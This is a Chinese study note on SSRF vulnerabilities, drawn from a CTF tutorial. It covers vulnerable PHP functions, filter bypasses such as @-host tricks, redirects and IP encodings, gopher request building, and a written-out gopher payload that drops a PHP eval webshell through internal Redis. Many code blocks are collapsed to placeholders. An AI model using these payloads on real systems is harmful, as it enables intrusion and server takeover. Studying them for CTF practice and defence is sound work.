SSRF漏洞
SSRF漏洞
学习来源:
https://whoamianony.top/2021/01/16/Web%E5%AE%89%E5%85%A8/CTF%20SSRF%20%E6%BC%8F%E6%B4%9E%E4%BB%8E0%E5%88%B01/
原理:
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成并由服务端发起恶意请求的一个安全漏洞。正是因为恶意请求由服务端发起,而服务端能够请求到与自身相连而与外网隔绝的内部网络系统,所以一般情况下,SSRF的攻击目标是攻击者无法直接访问的内网系统。
容易出现SSRF的地方:
- 社交分享功能:获取超链接的标题等内容进行显示
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
- 在线翻译:给网址翻译对应网页的内容
- 图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
- 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
- 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
- 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
- 数据库内置功能:数据库的比如mongodb的copyDatabase函数
- 邮件系统:比如接收邮件服务器地址
- 编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
- 未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
- 从远程服务器请求资源
SSRF漏洞的危害:
- 对外网、服务器所在内网、服务器本地进行端口扫描,获取一些服务的banner信息等。
- 攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等。
- 对内网Web应用进行指纹识别,识别企业内部的资产信息。
- 攻击内外网的Web应用,主要是使用HTTP GET/POST请求就可以实现的攻击,如sql注入、文件上传等。
- 利用file协议读取服务器本地文件等。
- 进行跳板攻击等。
SSRF漏洞相关函数和类
- file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
- readfile():输出一个文件的内容。
- fsockopen():打开一个网络连接或者一个Unix 套接字连接。
- curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
- fopen():打开一个文件文件或者 URL。
- ……
上述函数函数使用不当会造成SSRF漏洞。 此外,PHP原生类SoapClient在触发反序列化时可导致SSRF。
file_get_contents()
1 | // ssrf.php |
也可以进行远程访问:
readfile()
函数与file_get_contents()
函数相似。
fsockopen()
fsockopen($hostname,$port,$errno,$errstr,$timeout)
用于打开一个网络连接或者一个Unix
套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket
跟服务器建立tcp
连接,进行传输原始数据。fsockopen()
将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。
测试代码:
1 | PHP |
但是该函数的SSRF无法读取本地文件。
curl_exec()
curl_init(url)
函数初始化一个新的会话,返回一个cURL
句柄,供curl_setopt()
,curl_exec()
和curl_close()
函数使用。
测试代码:
1 | PHP |
也可以使用file协议读取本地文件
SoapClient
SOAP是简单对象访问协议,简单对象访问协议(SOAP)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。
SoapClient是一个php的内置类,当其进行反序列化时,如果触发了该类中的 __call
方法,那么 __call
便方法可以发送HTTP和HTTPS请求。该类的构造函数如下:
1 | public SoapClient :: SoapClient(mixed $wsdl [,array $options ]) |
- 第一个参数是用来指明是否是
wsdl
模式。 - 第二个参数为一个数组,如果在
wsdl
模式下,此参数可选;如果在非wsdl
模式下,则必须设置location
和uri
选项,其中location
是要将请求发送到的SOAP服务器的URL,而uri
是SOAP服务的目标命名空间。
我们可以设置第一个参数为null
,然后第二个参数为一个包含location
和uri
的数组,location
选项的值设置为target_url
:
1 | // ssrf.php |
47.xxx.xxx.72
监听2333
端口,访问ssrf.php
,即可在47.xxx.xxx.72
上得到访问的数据
由于它仅限于http/https
协议,所以用处不是很大。但是如果这里的http
头部还存在crlf
漏洞,那么我们就可以进行ssrf+crlf
,注入或修改一些http
请求头,,详情请看:《SoapClient+crlf组合拳进行SSRF》
SSRF漏洞利用的相关协议
SSRF漏洞的利用所涉及的协议有:
- file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
- dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
- gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
- http/s协议:探测内网主机存活
常见利用方式(file、http/s和dict协议)
以下几个演示所用的测试代码:
1 | PHP |
读取内网文件(file协议)
我们构造如下payload,即可将服务器上的本地文件及网站源码读取出来:
1 | PHP |
探测内网主机存活(http/s协议)
一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts
、/proc/net/arp
、/proc/net/fib_trie
等文件,从而获得目标主机的内网网段并进行爆破。
1 | ssrf.php?url=http://192.168.52.1 |
为了方便,我们可以借助burpsuite
的Intruder
模块进行爆破,
扫描内网端口(http/s和dict协议)
相关绕过姿势
对于SSRF的限制大致有如下几种:
- 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
- 限制域名只能为
http://www.xxx.com/
- 限制不能访问内网的IP,以防止对内网进行攻击。
- 屏蔽返回的详细信息。
利用HTTP基本身份认证的方式绕过
如果目标代码限制访问的域名只能为http://www.xxx.com/
,那么我们可以采用HTTP基本身份认证的方式绕过。即@
:http://www.xxx.com@www.evil.com/
利用302跳转绕过内网IP
绕过对内网ip的限制我们可以利用302跳转的方法,有以下两种。
(1)网络上存在一个很神奇的服务,网址为http://xip.io/
,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:
当我们访问:http://127.0.0.1.xip.io/flag.php
时,实际上访问的是http://127.0.0.1/1.php
。像这种网址还有http://nip.io
http//sslip.io
。
(2)短地址跳转绕过,这里也给出一个网址https://dwztz.com/
:
进制的转换绕过内网IP
可以使用一些不同的进制替代ip地址,从而绕过WAF,
1 |
|
其他各种指向127.0.0.1的地址
1 | http://localhost/ # localhost就是代指127.0.0.1 |
利用不存在的协议头绕过指定的协议头
file_get_contents()
函数的一个特性,即当PHP的 file_get_contents()
函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)
测试代码:
1 |
|
上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:
1 | httpsssss:// |
此时file_get_contents()
函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:
1 | CODE |
利用URL的解析问题
(1)利用readfile和parse_url函数的解析差异绕过指定的端口
测试代码:
1 |
|
用python在当前目录下起一个端口为11211的WEB服务:
上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过:
1 | ?url=127.0.0.1:11211:80/flag.txt |
原理:
从上图中可以看出readfile()函数获取的端口是最后冒号前面的一部分(11211),而parse_url()函数获取的则是最后冒号后面的的端口(80),利用这种差异的不同,从而绕过WAF。
这两个函数在解析host的时候也有差异,如下图:
readfile()
函数获取的是@号后面一部分(evil.com)
,而parse_url()
函数获取的则是@号前面的一部分(google.com)
,利用这种差异的不同,我们可以绕过题目中parse_url()
函数对指定host
的限制。
(2)利用curl和parse_url的解析差异绕指定的host
原理如下:
从上图中可以看到curl()函数解析的是第一个@后面的网址,而parse_url()
函数解析的是第二个@后面的网址。利用这个原理我们可以绕过题目中parse_url()
函数对指定host的限制。
测试代码:
1 |
|
上述代码中可以看到check_inner_ip
函数通过 url_parse()
函数检测是否为内网IP,如果不是内网 IP ,则通过 curl()
请求 url 并返回结果,我们可以利用curl
和parse_url
解析的差异不同来绕过这里的限制,让 parse_url()
处理外部网站网址,最后 curl()
请求内网网址。paylaod如下:
1 | ?url=http://@127.0.0.1:80@www.baidu.com/flag.php |
不过这个方法在Curl较新的版本里被修掉了,所以我们还可以使用另一种方法,即 0.0.0.0
。0.0.0.0
这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址,使用如下即可绕过:
1 | ?url=http://0.0.0.0/flag.php |
但是这只适用于Linux系统上,Windows系统的不行。
[2020 首届“祥云杯”网络安全大赛]doyouknowssrf
常见攻击方式(Gopher协议)
Gopher协议在SSRF中的利用
(1)Gopher协议格式
1 | URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流 |
- gopher的默认端口是70
- 如果发起POST请求,回车换行需要使用
%0d%0a
来代替%0a
,如果多个参数,参数之间的&也需要进行URL编码
在gopher协议中发送HTTP的数据,需要以下三步:
- 抓取或构造HTTP数据包
- URL编码、将回车换行符
%0a
替换为%0d%0a
- 发送符合gopher协议格式的请求
(2)利用Gopher协议发送HTTP GET请求
测试代码:
1 |
|
接下来我们构造payload。一个典型的GET型的HTTP包类似如下:
1 | HTTP |
然后利用以下脚本进行一步生成符合Gopher协议格式的payload:
1 | import urllib.parse |
注意这几个问题:
- 问号(?)需要转码为URL编码,也就是%3f
- 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
- 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
然后执行:
1 | curl gopher://127.0.0.1:80/_GET%20/index.php%3Fw0s1np%3Dwoshilnp%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0A |
(3)利用Gopher协议发送HTTP POST请求
测试代码:
1 |
|
接下来我们构造payload。一个典型的POST型的HTTP包类似如下:
1 | POST /index.php HTTP/1.1 |
注意:上面那四个HTTP头是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。并且,特别要注意Content-Length应为字符串“w01np=woshilnp”的长度。
最后用脚本我们将上面的POST数据包进行URL编码并改为gopher协议
1 | import urllib.parse |
然后执行:
1 | curl gopher://127.0.0.1:80/_POST%20/index.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2015%0D%0A%0D%0Aw0s1np%3Dwoshilnp%0D%0A |
如上图,成功用POST方法传参并输出“Hello woshilnp”。
[2020 科来杯初赛]Web1
攻击内网Redis
Redis是数据库的意思。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis未授权访问?
Redis 默认情况下,会绑定在0.0.0.0:6379
,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip
访问等,这样将会将Redis
服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问Redis
以及读取Redis
的数据。攻击者在未授权访问Redis
的情况下,利用 Redis 自身的提供的config
命令,可以进行写文件操作,攻击者可以成功将自己的ssh
公钥写入目标服务器的/root/.ssh
文件夹的authotrized_keys
文件中,进而可以使用对应私钥直接使用ssh
服务登录目标服务器。
简单说,漏洞的产生条件有以下两点:
- redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
- 没有设置密码认证(一般为空),可以免密码远程登录redis服务。
在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等,
思路都是一样的,就是先将Redis的本地数据库存放目录设置为web
目录、~/.ssh
目录或/var/spool/cron
目录等,然后dbfilename
(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save
或bgsave
保存,则我们就指定的目录里写入指定的文件了。
1 | import urllib |
ubuntu:192.168.133.255
1 | gopher://192.168.133.255:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22w0s1np%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A |
这里我还不知道从什么地方实验这个东西,所以先放在这里吧,攻击内网的东西以后再补充吧